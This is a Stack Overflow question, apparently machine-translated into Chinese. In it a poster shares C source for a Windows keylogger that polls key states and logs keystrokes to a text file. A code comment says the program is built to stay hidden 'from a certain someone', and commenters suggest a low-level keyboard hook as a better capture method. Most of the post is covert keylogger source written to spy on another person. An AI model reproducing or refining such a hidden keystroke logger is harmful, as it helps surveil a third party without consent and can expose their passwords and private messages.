【发布时间】:2021-08-12 14:43:29
【问题描述】:
我们的目标是创建一个记录击键并将其写入文本文件的程序。目前,只需轻按一个键就会写入该键一百次,所以我试图放慢速度。
但是,使用 Sleep() 将阻止整个代码执行任何操作,除非我使用 Sleep(0)(据我了解,这意味着“不要让较低优先级的线程运行”)。
代码:
// Subconsole is Windows so the running app is not visible to a certain someone
int __stdcall WinMain(_In_ HINSTANCE hinstance, _In_opt_ HINSTANCE hprevinstance, _In_ LPSTR lpcmdline, _In_ int ncmdshow)
{
FILE* write;
char running = 1;
fopen_s(&write, "typelog.txt", "w");
while (running)
{
_Bool keytoggle;
char key;
// Go from A to Z and see if the key for that was pressed
for (int i = 0x41; i < 0x5A; i++)
{
// Is the highest order bit for GetAsyncKeyState a 1 (is the key down)
keytoggle = (GetAsyncKeyState(i) & (1 << 15)) != 0;
if (keytoggle)
{
key = i; // save the key that was pressed
break;
}
}
// If the key was pressed, write it, otherwise write a space
if (keytoggle)
{
if (write)
fprintf(write, "%c", key);
}
else
{
if (write)
fprintf(write, " ");
}
// Sleep for like, just one millisecond please
Sleep(1);
}
return 0;
}
听说使用Sleep,即使是1ms,由于系统定时器的原因,也可以延长到20ms。是这样吗?就算是,为什么代码根本不执行?
我搜索了一个小时左右,一无所获。如果你能帮忙就太好了。
【问题讨论】:
-
为此存在
WH_KEYBOARD_LL -
Sleep(0)的意思是“我可以放弃我的时间片并让上下文切换到其他进程”。 为什么你使用 Sleep()?如果你不能回答这个问题,那么不要使用 Sleep()。 -
@AsafItach:
Sleep不是sleep。 -
使用
MsgWaitForMultipleObjects等待键盘上读取的内容,然后使用ReadConsoleInput了解发生了什么。 -
当然,如果您不介意在按下某个键之前阻止您的程序,请仅使用
ReadConsoleInput,这与 getch() 非常相似,但会返回更详细的信息(向上键、向下键、ctrl , shift, alt, 不同的小键盘值, 功能键,...)。